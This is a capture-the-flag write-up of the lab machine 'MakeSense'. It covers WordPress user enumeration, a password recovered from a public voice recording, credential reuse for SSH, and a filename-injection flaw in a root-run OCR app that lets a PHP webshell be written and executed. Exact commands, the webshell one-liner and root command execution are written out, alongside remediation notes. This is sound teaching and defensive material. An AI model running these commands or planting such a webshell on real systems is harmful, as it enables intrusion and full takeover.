MakeSense
Summary
I fingerprinted a WordPress site, used the unauthenticated REST API to harvest usernames, then fetched world-readable audio files from the uploads directory that contained a spoken password. Replaying the site's own bundled Whisper model in a headless browser transcribed the recording and yielded a WordPress login. Authenticated CMS access exposed a second credential belonging to the OS user 'walter', which was reused identically for SSH — granting a shell and the user flag.
Local enumeration revealed a PHP OCR application bound to loopback and running as root; it accepted the same recycled password for a third time. A filename-injection flaw in the OCR save feature let me write a PHP webshell into the app's web-served directory and execute it under the root process, achieving full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for walter>"Attack path — how the box was taken
Exact commands 4
Full TCP port discovery against all 65 535 ports.
$ nmap -p- --min-rate 5000 -T4 $TARGET -oN ports.txtVersion and default-script scan on open ports.
$ nmap -sCV -p 22,443 $TARGET -oN services.txtConfirms theme name and version.
$ curl -sk https://makesense.htb/wp-content/themes/webagency/style.css | head -20Extracts AJAX action names, nonce references, and Whisper model path from theme JS.
$ curl -sk https://makesense.htb/wp-content/themes/webagency/assets/js/main.js | grep -iE 'ajax|action|nonce|model'Exact commands 2
Lists all WordPress users with no credentials required.
$ curl -sk 'https://makesense.htb/index.php?rest_route=/wp/v2/users' | python3 -m json.toolAlternative scanner-based user enumeration.
$ wpscan --url https://makesense.htb --disable-tls-checks -e u --no-banner 2>/dev/nullFixRestrict the WordPress REST API user-listing endpointMedium
Exact commands 4
Confirms the file is publicly accessible (expect HTTP 200, no WWW-Authenticate header).
$ curl -sk -I 'https://makesense.htb/wp-content/uploads/2026/01/voice-message.wav'Download the voice recording.
$ curl -sk 'https://makesense.htb/wp-content/uploads/2026/01/voice-message.wav' -o voice-message.wavPreferred offline transcription (pip install openai-whisper). Recovers the spoken credential.
$ whisper voice-message.wav --model base.en --output_format txtFallback used in engagement: drives the target's own Whisper JS in a headless browser to transcribe the WAV.
$ chromium --headless=new --no-sandbox --disable-gpu --ignore-certificate-errors --virtual-time-budget=30000 'file:///tmp/whisper-harness.html' 2>&1 | grep TRANSCRIPTFixProtect voice recordings and eliminate credentials stored in audioCritical
Exact commands 2
Authenticate to WordPress as jake; look for 302 redirect to wp-admin confirming success.
$ curl -sk -c cookies.jar -b cookies.jar -X POST 'https://makesense.htb/wp-login.php' --data-urlencode 'log=jake' --data-urlencode "pwd=$PASSWORD" -d 'wp-submit=Log+In&testcookie=1' -L -v 2>&1 | grep -E 'HTTP/|Location'Attempt to read wp-config.php database credentials via the WordPress theme editor.
$ curl -sk -c cookies.jar -b cookies.jar 'https://makesense.htb/wp-admin/theme-editor.php?file=wp-config.php&theme=webagency' | grep -iE 'DB_PASS|DB_USER|password'FixEnforce unique passwords per service and remove hardcoded credentials from scriptsHigh
Exact commands 2
SSH login as walter using the reused database password.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password -o PubkeyAuthentication=no walter@$TARGET 'id; hostname'Read the user flag: <user.txt>
$ cat /home/walter/user.txtExact commands 3
List all TCP listeners and owning PIDs; reveals 127.0.0.1:8001.
$ ss -ltnpConfirm the process owner is root.
$ ps aux | grep -E 'php|8001|tesseract'Fingerprint the internal application.
$ curl -sv http://127.0.0.1:8001/ 2>&1 | grep -E 'title|Server|X-Powered'Exact commands 1
Authenticate to the internal OCR panel with the reused credential; expect HTTP 200 and session cookie.
$ curl -s -c ocr_session.jar -b ocr_session.jar -X POST 'http://127.0.0.1:8001/' -d "username=walter&password=$PASSWORD2" -L -v 2>&1 | grep -E 'HTTP/|Set-Cookie|Location'Exact commands 3
Submit OCR save request with a PHP one-liner as content and shell.php as the output filename. Replace dummy.png with any valid image file.
$ curl -s -c ocr_session.jar -b ocr_session.jar -X POST 'http://127.0.0.1:8001/ocr' -F 'image=@dummy.png' -F 'filename=shell.php' -F 'content=<?php system($_GET["cmd"]); ?>'Verify code execution — expect 'uid=0(root)'.
$ curl -s 'http://127.0.0.1:8001/saved/shell.php?cmd=id'Read the root flag: <root.txt>
$ curl -s 'http://127.0.0.1:8001/saved/shell.php?cmd=cat+/root/root.txt'FixValidate OCR output filenames and block PHP execution in the saved/ directoryCritical
Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0) |
| 443/tcp | ssl/http Apache httpd 2.4.58 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.